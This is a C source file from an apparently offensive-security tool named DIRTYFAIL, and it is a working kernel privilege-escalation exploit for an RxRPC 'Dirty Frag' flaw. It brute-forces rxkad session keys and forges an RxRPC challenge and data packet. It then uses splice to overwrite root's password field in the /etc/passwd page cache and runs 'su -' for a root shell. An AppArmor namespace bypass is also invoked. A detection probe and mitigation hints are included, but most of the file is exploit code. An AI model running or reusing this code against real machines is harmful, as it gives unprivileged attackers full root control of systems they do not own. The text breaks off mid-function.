/* * DIRTYFAIL — dirtyfrag_rxrpc.c — Dirty Frag RxRPC variant * CVE-2026-43500 * * BACKGROUND * ---------- * `rxkad_verify_packet_1()` decrypts the first 8 bytes of an RxRPC * data packet in-place via `pcbc(fcrypt)`. With `splice()` planting a * page-cache page into the skb's frag, the in-place decrypt lands an * 8-byte STORE on top of that page. * * The 8 STOREd bytes are `pcbc_decrypt(C, K)` where C is the existing * 8 bytes at the file offset and K is an attacker-controlled 8-byte * session key from an RxRPC v1 token registered via `add_key("rxrpc", * ...)`. With a single block and IV = 0, pcbc reduces to a plain * fcrypt_decrypt(C, K), which is a 56-bit-key cipher — small enough * to brute-force in user space until the desired plaintext drops out. * * Unlike xfrm-ESP (CVE-2026-43284), this path needs no namespace * privilege — `add_key`, `socket(AF_RXRPC)`, `socket(AF_ALG)`, and * `splice` are all available to unprivileged users on a stock build * with rxrpc.ko present (which Ubuntu ships by default). * * EXPLOIT TARGET * -------------- * /etc/passwd line 1 ("root:x:0:0:..."). Three 8-byte STOREs at * offsets 4, 6, 8 with last-write-wins reshape chars 4..15 into * "::0:0:GGGGGG:" — empty password field for root. PAM * `pam_unix.so nullok` then accepts a missing password, su drops * a root shell. * * file off: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 * original: r o o t : x : 0 : 0 : r o o t : * final: r o o t : : 0 : 0 : G G G G G : * * Splice A @ 4 (8B): bytes 4..11 = P_A want P_A[0..1] = "::" * Splice B @ 6 (8B): bytes 6..13 = P_B want P_B[0..1] = "0:" * Splice C @ 8 (8B): bytes 8..15 = P_C want P_C[0..1] = "0:", * P_C[2..6] ∉ {':' '\\0' '\\n'}, * P_C[7] = ":" * * Chained-ciphertext correction: by the time splice B runs, the page * at offsets 6..11 has already been overwritten by splice A. So the * ciphertext fcrypt sees for K_B is `P_A[2..7] || original_C[6..7]` * (the last 2 bytes of the splice region are still original passwd * bytes 12..13). Same logic for K_C against P_B. We compute these * actual ciphertexts before each brute force. * * BRUTE-FORCE COST (single core, ~18 Mops/s): * K_A: 2 fully-fixed bytes ⇒ ~2^16 iters ⇒ ~3 ms * K_B: 2 fully-fixed bytes ⇒ ~2^16 iters ⇒ ~3 ms * K_C: 3 fixed + 5 weak constraints ⇒ ~2^24 iters ⇒ ~1 s */ #include "dirtyfrag_rxrpc.h" #include "fcrypt.h" #include "apparmor_bypass.h" #include #include #include #include #include #include #include #include #include #ifdef __linux__ #include #include #include #include #include #else /* macOS analysis stubs only — real binary runs on Linux. */ #define IFNAMSIZ 16 #define IFF_UP 0x01 #define IFF_RUNNING 0x40 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define KEY_SPEC_PROCESS_KEYRING (-2) #define CLONE_NEWUSER 0x10000000 #define CLONE_NEWNET 0x40000000 #define SYS_unshare 0 #define SYS_add_key 0 struct ifreq { char ifr_name[IFNAMSIZ]; short ifr_flags; }; typedef int loff_t; __attribute__((unused)) static inline ssize_t splice (int a, loff_t *b, int c, loff_t *d, size_t e, unsigned f) { (void)a;(void)b;(void)c;(void)d;(void)e;(void)f; return -1; } __attribute__((unused)) static inline ssize_t vmsplice(int a, const struct iovec *b, unsigned long c, unsigned d) { (void)a;(void)b;(void)c;(void)d; return -1; } #endif /* ---------------------------------------------------------------- * * RxRPC / rxkad / AF_ALG fallback constants * * may not be present on all distros. Define what we * need locally so DIRTYFAIL compiles on any modern Linux toolchain. * ---------------------------------------------------------------- */ #ifndef AF_RXRPC #define AF_RXRPC 33 #endif #ifndef PF_RXRPC #define PF_RXRPC AF_RXRPC #endif #ifndef SOL_RXRPC #define SOL_RXRPC 272 #endif #ifndef RXRPC_SECURITY_KEY #define RXRPC_SECURITY_KEY 1 #define RXRPC_MIN_SECURITY_LEVEL 4 #define RXRPC_USER_CALL_ID 1 #define RXRPC_SECURITY_AUTH 1 #endif /* RxRPC packet header (28 bytes, network byte order on the wire). */ struct rxrpc_wire_hdr { uint32_t epoch; uint32_t cid; uint32_t callNumber; uint32_t seq; uint32_t serial; uint8_t type; uint8_t flags; uint8_t userStatus; uint8_t securityIndex; uint16_t cksum; /* big-endian on wire */ uint16_t serviceId; } __attribute__((packed)); #define RXRPC_PKT_DATA 1 #define RXRPC_PKT_CHALLENGE 6 #define RXRPC_LAST_PACKET 0x04 #define RXRPC_CHANNELMASK 3 #define RXRPC_CIDSHIFT 2 struct rxkad_challenge_payload { uint32_t version; uint32_t nonce; uint32_t min_level; uint32_t __padding; } __attribute__((packed)); /* sockaddr_rxrpc is in ; fallback below. * * IMPORTANT: the kernel's struct sockaddr_rxrpc has the transport union * sized to include sockaddr_in6 (28 B), making the total 36 B. The * rxrpc_bind() syscall rejects with -EINVAL if len < sizeof(struct * sockaddr_rxrpc), so even when we only use the v4 path we MUST send * 36 bytes — hence the in6 member below. */ struct dfr_sockaddr_rxrpc { uint16_t srx_family; uint16_t srx_service; uint16_t transport_type; uint16_t transport_len; union { uint16_t family; struct sockaddr_in sin; struct sockaddr_in6 sin6; } transport; }; /* AF_ALG IV control message header. */ struct dfr_af_alg_iv { uint32_t ivlen; uint8_t iv[8]; } __attribute__((packed)); /* ---------------------------------------------------------------- * * Detection (precondition probe — unchanged from earlier version) * ---------------------------------------------------------------- */ df_result_t dirtyfrag_rxrpc_detect(void) { log_step("Dirty Frag — RxRPC variant (CVE-2026-43500) — detection"); int km = -1, kn = -1; if (kernel_version(&km, &kn)) log_hint("kernel %d.%d.x", km, kn); bool rxrpc = kmod_loaded("rxrpc"); log_hint("rxrpc currently loaded: %s", rxrpc ? "yes" : "no"); int s = socket(AF_RXRPC, SOCK_DGRAM, 0); bool can_open = (s >= 0); if (can_open) close(s); log_hint("AF_RXRPC socket: %s", can_open ? "openable" : "denied"); if (!rxrpc && !can_open) { log_ok("rxrpc not present and AF_RXRPC socket family rejected — " "RxRPC variant unreachable"); return DF_PRECOND_FAIL; } /* The RxRPC trigger needs to register an rxrpc key + open AF_RXRPC * socket inside a userns with caps. If caps are stripped, fail out. */ if (apparmor_userns_caps_blocked()) { log_ok("LSM-mitigated — unprivileged userns has no caps, RxRPC trigger " "cannot register session keys or open AF_RXRPC."); return DF_PRECOND_FAIL; } if (dirtyfail_active_probes) { log_step("--active set: firing rxkad handshake-forgery trigger against /tmp sentinel"); df_result_t pr = dirtyfrag_rxrpc_active_probe(); if (pr == DF_VULNERABLE || pr == DF_OK || pr == DF_PRECOND_FAIL) return pr; log_warn("active probe inconclusive — falling back to precondition verdict"); } log_warn("VULNERABLE — RxRPC variant of Dirty Frag is reachable"); log_warn("apply mitigation: `dirtyfail --mitigate` (blacklists rxrpc + others)"); log_warn("or manually: blacklist rxrpc + drop_caches"); log_hint("re-run with `--scan --active` for an empirical sentinel-STORE probe"); return DF_VULNERABLE; } /* ================================================================ * * Exploit (Linux-only; macOS gets a stub at the bottom). * ================================================================ */ #ifdef __linux__ extern ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags); extern ssize_t vmsplice(int fd, const struct iovec *iov, unsigned long nr, unsigned int flags); /* ---- /proc helpers --------------------------------------------------- */ static bool write_proc_str(const char *path, const char *value) { int fd = open(path, O_WRONLY); if (fd < 0) return false; ssize_t want = (ssize_t)strlen(value); ssize_t got = write(fd, value, want); close(fd); return got == want; } /* ---- userns / netns setup ------------------------------------------- */ __attribute__((unused)) static bool setup_userns(uid_t real_uid, gid_t real_gid) { if (syscall(SYS_unshare, CLONE_NEWUSER | CLONE_NEWNET) < 0) { log_bad("unshare(USER|NET): %s", strerror(errno)); return false; } write_proc_str("/proc/self/setgroups", "deny"); char buf[64]; snprintf(buf, sizeof(buf), "%u %u 1", (unsigned)real_uid, (unsigned)real_uid); if (!write_proc_str("/proc/self/uid_map", buf)) { log_bad("uid_map: %s", strerror(errno)); return false; } snprintf(buf, sizeof(buf), "%u %u 1", (unsigned)real_gid, (unsigned)real_gid); if (!write_proc_str("/proc/self/gid_map", buf)) { log_bad("gid_map: %s", strerror(errno)); return false; } /* Bring lo up so loopback works inside the new netns. */ int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) return false; struct ifreq ifr; memset(&ifr, 0, sizeof(ifr)); strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1); if (ioctl(s, SIOCGIFFLAGS, &ifr) == 0) { ifr.ifr_flags |= IFF_UP | IFF_RUNNING; ioctl(s, SIOCSIFFLAGS, &ifr); } close(s); return true; } /* ---- RxRPC v1 token build ------------------------------------------- * * * The kernel parses an RxRPC v1 token as a sequence of XDR-encoded * fields (all big-endian uint32, strings padded to 4-byte boundaries). * * flags u32 * cell_name XDR string * ntoken u32 * token[ntoken] = { * len u32 (length of the rest of the token) * sec_ix u32 (=2 for RXKAD) * vice_id u32 * kvno u32 * session_key u8[8] ← THE KEY WE BRUTE-FORCED * issued u32 * expires u32 * primary_flag u32 * ticket_len u32 * ticket u8[ticket_len] * } */ static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen, const uint8_t key[8]) { uint8_t *p = out; uint8_t *end = out + maxlen; /* Helper to bounds-check before each write. */ #define NEED(n) do { if (p + (n) > end) { errno = E2BIG; return -1; } } while (0) uint32_t now = (uint32_t)time(NULL); uint32_t expires = now + 86400; NEED(4); *(uint32_t *)p = htonl(0); p += 4; /* flags */ const char *cell = "evil"; uint32_t clen = (uint32_t)strlen(cell); uint32_t pad = (4 - (clen & 3)) & 3; NEED(4 + clen + pad); *(uint32_t *)p = htonl(clen); p += 4; memcpy(p, cell, clen); memset(p + clen, 0, pad); p += clen + pad; NEED(4); *(uint32_t *)p = htonl(1); p += 4; /* ntoken */ uint8_t *toklen_slot = p; NEED(4); p += 4; /* will fill below */ uint8_t *tokstart = p; NEED(4); *(uint32_t *)p = htonl(2); p += 4; /* sec_ix = RXKAD */ NEED(4); *(uint32_t *)p = htonl(0); p += 4; /* vice_id */ NEED(4); *(uint32_t *)p = htonl(1); p += 4; /* kvno */ NEED(8); memcpy(p, key, 8); p += 8; /* session_key */ NEED(4); *(uint32_t *)p = htonl(now); p += 4; /* issued */ NEED(4); *(uint32_t *)p = htonl(expires); p += 4; /* expires */ NEED(4); *(uint32_t *)p = htonl(1); p += 4; /* primary_flag */ NEED(4); *(uint32_t *)p = htonl(8); p += 4; /* ticket_len */ NEED(8); memset(p, 0xCC, 8); p += 8; /* ticket (any bytes) */ *(uint32_t *)toklen_slot = htonl((uint32_t)(p - tokstart)); return (int)(p - out); #undef NEED } static long add_rxrpc_key(const char *desc, const uint8_t key[8]) { uint8_t buf[256]; int n = build_rxrpc_v1_token(buf, sizeof(buf), key); if (n < 0) return -1; return syscall(SYS_add_key, "rxrpc", desc, buf, (size_t)n, KEY_SPEC_PROCESS_KEYRING); } /* ---- AF_ALG pcbc(fcrypt) helpers ------------------------------------ * * * Used to compute the rxkad packet checksum. The kernel does: * * csum_iv = high 8 bytes of PCBC-encrypt({epoch, cid, 0, sec_ix}, * IV = session_key) * cksum_h = (PCBC-encrypt({call_id, x}, IV = csum_iv)[1] >> 16) | 1 * where x = (cid_low2 << 30) | (seq & 0x3fffffff) * * We could roll this in user space using fcrypt directly (no AF_ALG), * but using AF_ALG is simpler and exactly matches what the kernel does * — useful for catching protocol drift across kernel versions. */ static int alg_open_pcbc_fcrypt(const uint8_t key[8]) { int s = socket(AF_ALG, SOCK_SEQPACKET, 0); if (s < 0) return -1; struct sockaddr_alg_compat sa = { .salg_family = AF_ALG }; strncpy((char *)sa.salg_type, "skcipher", sizeof(sa.salg_type) - 1); strncpy((char *)sa.salg_name, "pcbc(fcrypt)", sizeof(sa.salg_name) - 1); if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(s); return -1; } if (setsockopt(s, SOL_ALG, ALG_SET_KEY, key, 8) < 0) { close(s); return -1; } return s; } static int alg_pcbc_run(int alg_s, int op, const uint8_t iv[8], const void *in, size_t inlen, void *out) { int op_fd = accept(alg_s, NULL, NULL); if (op_fd < 0) return -1; char cbuf[CMSG_SPACE(sizeof(int)) + CMSG_SPACE(sizeof(struct dfr_af_alg_iv))] = {0}; struct msghdr msg = { .msg_control = cbuf, .msg_controllen = sizeof(cbuf) }; struct cmsghdr *c = CMSG_FIRSTHDR(&msg); c->cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_OP; c->cmsg_len = CMSG_LEN(sizeof(int)); *(int *)CMSG_DATA(c) = op; c = CMSG_NXTHDR(&msg, c); c->cmsg_level = SOL_ALG; c->cmsg_type = ALG_SET_IV; c->cmsg_len = CMSG_LEN(sizeof(struct dfr_af_alg_iv)); struct dfr_af_alg_iv *aiv = (struct dfr_af_alg_iv *)CMSG_DATA(c); aiv->ivlen = 8; memcpy(aiv->iv, iv, 8); struct iovec iov = { .iov_base = (void *)in, .iov_len = inlen }; msg.msg_iov = &iov; msg.msg_iovlen = 1; if (sendmsg(op_fd, &msg, 0) < 0) { close(op_fd); return -1; } ssize_t n = read(op_fd, out, inlen); close(op_fd); return n == (ssize_t)inlen ? 0 : -1; } static int compute_csum_iv(uint32_t epoch, uint32_t cid, uint32_t sec_ix, const uint8_t key[8], uint8_t out[8]) { int s = alg_open_pcbc_fcrypt(key); if (s < 0) return -1; uint32_t in[4] = { htonl(epoch), htonl(cid), 0, htonl(sec_ix) }; uint8_t enc[16]; int rc = alg_pcbc_run(s, ALG_OP_ENCRYPT, key, in, 16, enc); close(s); if (rc < 0) return -1; memcpy(out, enc + 8, 8); return 0; } static int compute_cksum(uint32_t cid, uint32_t call_id, uint32_t seq, const uint8_t key[8], const uint8_t csum_iv[8], uint16_t *out_h) { int s = alg_open_pcbc_fcrypt(key); if (s < 0) return -1; uint32_t x = ((cid & RXRPC_CHANNELMASK) << (32 - RXRPC_CIDSHIFT)) | (seq & 0x3fffffff); uint32_t in[2] = { htonl(call_id), htonl(x) }; uint32_t enc[2]; int rc = alg_pcbc_run(s, ALG_OP_ENCRYPT, csum_iv, in, 8, enc); close(s); if (rc < 0) return -1; uint16_t v = (uint16_t)((ntohl(enc[1]) >> 16) & 0xffff); if (v == 0) v = 1; *out_h = v; return 0; } /* ---- AF_RXRPC client ------------------------------------------------- */ static int setup_rxrpc_client(uint16_t local_port, const char *keyname) { int fd = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); if (fd < 0) { log_bad("socket(AF_RXRPC): %s", strerror(errno)); return -1; } if (setsockopt(fd, SOL_RXRPC, RXRPC_SECURITY_KEY, keyname, strlen(keyname)) < 0) { log_bad("setsockopt RXRPC_SECURITY_KEY: %s", strerror(errno)); close(fd); return -1; } int level = RXRPC_SECURITY_AUTH; if (setsockopt(fd, SOL_RXRPC, RXRPC_MIN_SECURITY_LEVEL, &level, sizeof(level)) < 0) { log_bad("setsockopt RXRPC_MIN_SECURITY_LEVEL: %s", strerror(errno)); close(fd); return -1; } struct dfr_sockaddr_rxrpc srx; memset(&srx, 0, sizeof(srx)); srx.srx_family = AF_RXRPC; srx.srx_service = 0; srx.transport_type= SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(local_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7f000001); if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { log_bad("bind AF_RXRPC :%u: %s", local_port, strerror(errno)); close(fd); return -1; } return fd; } static int rxrpc_initiate_call(int fd, uint16_t srv_port, uint16_t svc_id, unsigned long user_call_id) { /* Wire payload — fixed 8 bytes, not C-string semantics. */ char data[8] = { 'P','I','N','G','P','I','N','G' }; struct dfr_sockaddr_rxrpc srx; memset(&srx, 0, sizeof(srx)); srx.srx_family = AF_RXRPC; srx.srx_service = svc_id; srx.transport_type= SOCK_DGRAM; srx.transport_len = sizeof(struct sockaddr_in); srx.transport.sin.sin_family = AF_INET; srx.transport.sin.sin_port = htons(srv_port); srx.transport.sin.sin_addr.s_addr = htonl(0x7f000001); char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; struct msghdr msg = { .msg_name = &srx, .msg_namelen = sizeof(srx) }; struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; msg.msg_iov = &iov; msg.msg_iovlen = 1; msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf); struct cmsghdr *cm = CMSG_FIRSTHDR(&msg); cm->cmsg_level = SOL_RXRPC; cm->cmsg_type = RXRPC_USER_CALL_ID; cm->cmsg_len = CMSG_LEN(sizeof(unsigned long)); *(unsigned long *)CMSG_DATA(cm) = user_call_id; int fl = fcntl(fd, F_GETFL); fcntl(fd, F_SETFL, fl | O_NONBLOCK); ssize_t n = sendmsg(fd, &msg, 0); fcntl(fd, F_SETFL, fl); if (n < 0 && errno != EAGAIN && errno != EWOULDBLOCK) return -1; return 0; } /* ---- UDP fake-server ------------------------------------------------ */ static int setup_udp_server(uint16_t port) { int s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) return -1; struct sockaddr_in sa = { .sin_family = AF_INET, .sin_port = htons(port), .sin_addr.s_addr = htonl(0x7f000001), }; if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { close(s); return -1; } return s; } static ssize_t udp_recv_to(int s, void *buf, size_t cap, struct sockaddr_in *from, int timeout_ms) { struct pollfd pfd = { .fd = s, .events = POLLIN }; if (poll(&pfd, 1, timeout_ms) <= 0) return -1; socklen_t fl = from ? sizeof(*from) : 0; return recvfrom(s, buf, cap, 0, (struct sockaddr *)from, from ? &fl : NULL); } /* ---- one trigger ---------------------------------------------------- * * * Run exactly one 8-byte STORE at file offset `splice_off` of `target_fd`, * using the rxkad session key `key`. Sequence: * * 1. add_key("rxrpc", "evil", v1_token{session_key=key}) * 2. udp_srv = bind 127.0.0.1:port_S * 3. rxsk_cli = AF_RXRPC + SECURITY_KEY=evil + bind :port_C * 4. rxsk_cli sendmsg → triggers handshake → udp_srv receives first packet * 5. extract (epoch, cid, callN) from that packet * 6. udp_srv sends forged CHALLENGE → rxsk_cli auto-RESPONSE * 7. compute csum_iv, cksum with `key` * 8. build malicious DATA wire header * 9. pipe(); vmsplice(hdr); splice(target@splice_off, 8B); splice(pipe → udp_srv) * 10. recvmsg(rxsk_cli) drives kernel through verify_packet → in-place STORE */ static int g_trigger_seq = 0; static bool do_one_trigger(int target_fd, off_t splice_off, const uint8_t key[8]) { char keyname[32]; snprintf(keyname, sizeof(keyname), "df-evil%d", g_trigger_seq++); long key_id = add_rxrpc_key(keyname, key); if (key_id < 0) { log_bad("add_rxrpc_key: %s", strerror(errno)); return false; } /* Use varying ports so kernel TIME_WAIT / stale state doesn't bite. */ uint16_t port_S = (uint16_t)(7777 + (g_trigger_seq * 2 % 200)); uint16_t port_C = (uint16_t)(port_S + 1); uint16_t svc_id = 1234; int udp_srv = setup_udp_server(port_S); if (udp_srv < 0) { log_bad("udp server"); return false; } int rxsk = setup_rxrpc_client(port_C, keyname); if (rxsk < 0) { log_bad("rxrpc client"); close(udp_srv); return false; } if (rxrpc_initiate_call(rxsk, port_S, svc_id, 0xDEAD) < 0) { log_bad("initiate call"); close(rxsk); close(udp_srv); return false; } /* Receive first packet from rxsk_cli — this is the kernel's * implicit DATA-0 (handshake init). It carries epoch + cid. */ uint8_t pkt[2048]; struct sockaddr_in cli_addr; ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500); if (n < (ssize_t)sizeof(struct rxrpc_wire_hdr)) { log_bad("no handshake packet (n=%zd)", n); close(rxsk); close(udp_srv); return false; } struct rxrpc_wire_hdr *whdr = (struct rxrpc_wire_hdr *)pkt; uint32_t epoch = ntohl(whdr->epoch); uint32_t cid = ntohl(whdr->cid); uint32_t callN = ntohl(whdr->callNumber); uint16_t svc_in = ntohs(whdr->serviceId); uint16_t cliport= ntohs(cli_addr.sin_port); /* Send forged CHALLENGE so the client emits RESPONSE and primes * conn->rxkad.cipher with our session key. */ { struct { struct rxrpc_wire_hdr hdr; struct rxkad_challenge_payload ch; } __attribute__((packed)) c; memset(&c, 0, sizeof(c)); c.hdr.epoch = htonl(epoch); c.hdr.cid = htonl(cid); c.hdr.serial = htonl(0x10000); c.hdr.type = RXRPC_PKT_CHALLENGE; c.hdr.securityIndex = 2; c.hdr.serviceId = htons(svc_in); c.ch.version = htonl(2); c.ch.nonce = htonl(0xdeadbeefu); c.ch.min_level = htonl(1); struct sockaddr_in to = { .sin_family = AF_INET, .sin_port = htons(cliport), .sin_addr.s_addr = htonl(0x7f000001), }; if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr *)&to, sizeof(to)) < 0) { log_bad("send CHALLENGE: %s", strerror(errno)); close(rxsk); close(udp_srv); return false; } } /* Drain whatever RESPONSE / further packets the client emits. */ for (int i = 0; i < 4; i++) { struct sockaddr_in src; if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break; } /* Compute csum_iv + wire cksum with our session key. */ uint8_t csum_iv[8]; if (compute_csum_iv(epoch, cid, 2, key, csum_iv) < 0) { log_bad("compute_csum_iv"); close(rxsk); close(udp_srv); return false; } uint16_t cksum_h = 0; if (compute_cksum(cid, callN, 1, key, csum_iv, &cksum_h) < 0) { log_bad("compute_cksum"); close(rxsk); close(udp_srv); return false; } /* Build malicious DATA wire header. */ struct rxrpc_wire_hdr mal; memset(&mal, 0, sizeof(mal)); mal.epoch = htonl(epoch); mal.cid = htonl(cid); mal.callNumber = htonl(callN); mal.seq = htonl(1); mal.serial = htonl(0x42000); mal.type = RXRPC_PKT_DATA; mal.flags = RXRPC_LAST_PACKET; mal.securityIndex = 2; mal.cksum = htons(cksum_h); mal.serviceId = htons(svc_in); /* connect udp_srv → client port so we can splice. */ struct sockaddr_in dst = { .sin_family = AF_INET, .sin_port = htons(cliport), .sin_addr.s_addr = htonl(0x7f000001), }; if (connect(udp_srv, (struct sockaddr *)&dst, sizeof(dst)) < 0) { log_bad("connect udp_srv: %s", strerror(errno)); close(rxsk); close(udp_srv); return false; } /* The actual splice trigger: pipe < hdr ; pipe < file@off,8 ; udp < pipe */ int p[2]; if (pipe(p) < 0) { close(rxsk); close(udp_srv); return false; } { struct iovec v = { .iov_base = &mal, .iov_len = sizeof(mal) }; if (vmsplice(p[1], &v, 1, 0) != (ssize_t)sizeof(mal)) { log_bad("vmsplice: %s", strerror(errno)); close(p[0]); close(p[1]); close(rxsk); close(udp_srv); return false; } } { loff_t off = splice_off; if (splice(target_fd, &off, p[1], NULL, 8, 0) != 8) { log_bad("splice file->pipe: %s", strerror(errno)); close(p[0]); close(p[1]); close(rxsk); close(udp_srv); return false; } } if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + 8, 0) != (ssize_t)(sizeof(mal) + 8)) { log_bad("splice pipe->udp: %s", strerror(errno)); close(p[0]); close(p[1]); close(rxsk); close(udp_srv); return false; } close(p[0]); close(p[1]); /* recvmsg drives the kernel through verify_packet and fires the * in-place STORE. We don't care about the actual data. */ int fl = fcntl(rxsk, F_GETFL); fcntl(rxsk, F_SETFL, fl | O_NONBLOCK); char rb[2048]; struct dfr_sockaddr_rxrpc rsrx; char ccb[256]; for (int round = 0; round < 5; round++) { struct msghdr m = { .msg_name = &rsrx, .msg_namelen = sizeof(rsrx) }; struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; m.msg_iov = &iv; m.msg_iovlen = 1; m.msg_control = ccb; m.msg_controllen = sizeof(ccb); ssize_t r = recvmsg(rxsk, &m, 0); if (r > 0) break; if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000); else break; } fcntl(rxsk, F_SETFL, fl); close(rxsk); close(udp_srv); return true; } /* ---- predicates ----------------------------------------------------- */ static bool predicate_pa_nullok(const uint8_t P[8]) { /* Want chars 4..5 of /etc/passwd to become "::" — empty pwd field. */ return P[0] == ':' && P[1] == ':'; } static bool predicate_pb_nullok(const uint8_t P[8]) { /* Want chars 6..7 = "0:" (uid=0 with separator). */ return P[0] == '0' && P[1] == ':'; } static bool predicate_pc_nullok(const uint8_t P[8]) { /* Want chars 8..15 = "0:GGGGG:". G ∉ {':' '\0' '\n'}. */ if (P[0] != '0' || P[1] != ':' || P[7] != ':') return false; for (int i = 2; i < 7; i++) if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return false; return true; } /* ---- main exploit --------------------------------------------------- */ #define MAX_BRUTE_ITERS_AB (1ULL << 24) /* ~3 ms expected hit, headroom */ #define MAX_BRUTE_ITERS_C (1ULL << 30) /* ~1 s expected hit, more headroom */ df_result_t dirtyfrag_rxrpc_exploit(bool do_shell) { log_step("Dirty Frag (RxRPC) — exploit"); if (real_uid_for_target() == 0) { log_warn("already root in init namespace — nothing to escalate"); return DF_OK; } /* Initialize fcrypt and verify the cipher works. */ fcrypt_init(); if (!fcrypt_selftest()) { log_bad("fcrypt selftest FAILED — wrong S-boxes or key schedule"); return DF_TEST_ERROR; } log_ok("fcrypt selftest OK"); /* The RxRPC variant targets line 1 of /etc/passwd unconditionally * (it makes root's password empty for PAM nullok). We need the * 16 bytes at offsets 4..15 of that file to do the brute force. */ int pfd = open("/etc/passwd", O_RDONLY); if (pfd < 0) { log_bad("open /etc/passwd: %s", strerror(errno)); return DF_TEST_ERROR; } /* Read the page and the original ciphertexts at offsets 4, 6, 8. */ uint8_t Cline[16]; if (pread(pfd, Cline, 16, 0) != 16) { log_bad("pread /etc/passwd: %s", strerror(errno)); close(pfd); return DF_TEST_ERROR; } log_step("/etc/passwd[0..15] = '%.16s'", (char *)Cline); uint8_t Ca[8], Cb[8], Cc[8]; memcpy(Ca, Cline + 4, 8); memcpy(Cb, Cline + 6, 8); memcpy(Cc, Cline + 8, 8); log_warn("about to:"); log_warn(" 1. brute-force three rxkad session keys (~1 second total)"); log_warn(" 2. enter a fresh user/net namespace"); log_warn(" 3. fire 3 splice triggers against /etc/passwd page cache"); log_warn(" 4. PAM `pam_unix nullok` will accept empty password for root"); log_warn("cleanup: dirtyfail --cleanup, or `echo 3 > /proc/sys/vm/drop_caches`"); if (!typed_confirm("DIRTYFAIL")) { log_bad("confirmation declined — aborting"); close(pfd); return DF_OK; } /* === Brute force K_A ============================================= */ uint8_t Ka[8], Pa[8]; if (!fcrypt_brute_force(Ca, predicate_pa_nullok, MAX_BRUTE_ITERS_AB, (uint64_t)time(NULL) ^ 0xA1ULL, "K_A (chars 4..5 = \"::\")", Ka, Pa)) { log_bad("K_A brute force exhausted"); close(pfd); return DF_EXPLOIT_FAIL; } /* === Chained-ciphertext correction for K_B ====================== * * * After splice A overwrites bytes 4..11 with P_A, splice B at offset 6 * (length 8) sees: bytes 6..11 = P_A[2..7], bytes 12..13 = original. */ uint8_t Cb_actual[8]; memcpy(Cb_actual, Pa + 2, 6); memcpy(Cb_actual + 6, Cb + 6, 2); /* === Brute force K_B ============================================= */ uint8_t Kb[8], Pb[8]; if (!fcrypt_brute_force(Cb_actual, predicate_pb_nullok, MAX_BRUTE_ITERS_AB, (uint64_t)time(NULL) ^ 0xB2ULL, "K_B (chars 6..7 = \"0:\")", Kb, Pb)) { log_bad("K_B brute force exhausted"); close(pfd); return DF_EXPLOIT_FAIL; } /* === Chained-ciphertext correction for K_C ====================== */ uint8_t Cc_actual[8]; memcpy(Cc_actual, Pb + 2, 6); memcpy(Cc_actual + 6, Cc + 6, 2); /* === Brute force K_C ============================================= */ uint8_t Kc[8], Pc[8]; if (!fcrypt_brute_force(Cc_actual, predicate_pc_nullok, MAX_BRUTE_ITERS_C, (uint64_t)time(NULL) ^ 0xC3ULL, "K_C (chars 8..15 = \"0:GGGGG:\")", Kc, Pc)) { log_bad("K_C brute force exhausted"); close(pfd); return DF_EXPLOIT_FAIL; } close(pfd); log_ok("all three keys found; handing off to bypass child for triggers"); /* Pass the three K's to the inner via hex-encoded env vars. The * inner runs in the AA bypass userns (where add_key + AF_RXRPC * have CAP_NET_ADMIN); we (parent, init ns) stay here so the * eventual `su -` reaches REAL init-ns root via PAM nullok. */ char hex[8 * 2 + 1]; #define HEXSET(name, k) do { \ for (int i = 0; i < 8; i++) snprintf(hex + i*2, 3, "%02x", k[i]); \ setenv(name, hex, 1); \ } while (0) HEXSET("DIRTYFAIL_K_A", Ka); HEXSET("DIRTYFAIL_K_B", Kb); HEXSET("DIRTYFAIL_K_C", Kc); #undef HEXSET setenv("DIRTYFAIL_INNER_MODE", "rxrpc", 1); int rc = apparmor_bypass_fork_arm(0, NULL); if (rc != DF_EXPLOIT_OK) { log_bad("inner exploit failed (exit=%d)", rc); return DF_EXPLOIT_FAIL; } /* Verify in init namespace — page cache is global. */ int v = open("/etc/passwd", O_RDONLY); if (v < 0) { log_bad("verify open: %s", strerror(errno)); return DF_EXPLOIT_FAIL; } uint8_t after[16]; ssize_t got = read(v, after, 16); close(v); if (got != 16) return DF_EXPLOIT_FAIL; log_step("/etc/passwd[0..15] now = '%.16s'", (char *)after); if (after[4] != ':' || after[5] != ':') { log_bad("page cache not in expected shape; trigger may have missed"); return DF_EXPLOIT_FAIL; } log_ok("/etc/passwd page cache: root password field is now empty"); if (!do_shell) { if (try_revert_passwd_page_cache()) log_ok("page cache reverted (--no-shell)"); else log_warn("page cache may still be modified — `sudo dirtyfail --cleanup` or reboot"); return DF_EXPLOIT_OK; } log_ok("invoking 'su -' in init ns — PAM nullok accepts empty password → REAL ROOT"); execlp("su", "su", "-", (char *)NULL); log_bad("execlp su: %s", strerror(errno)); return DF_EXPLOIT_FAIL; } /* ---- inner --------------------------------------------------------- * * Runs in the AA bypass userns. Reads the three K's from * DIRTYFAIL_K_{A,B,C} env vars, fires three do_one_trigger calls. * The fcrypt brute force itself ran in the parent (no caps required). */ static bool hex_to_8b(const char *hex, uint8_t out[8]) { if (!hex || strlen(hex) != 16) return false; for 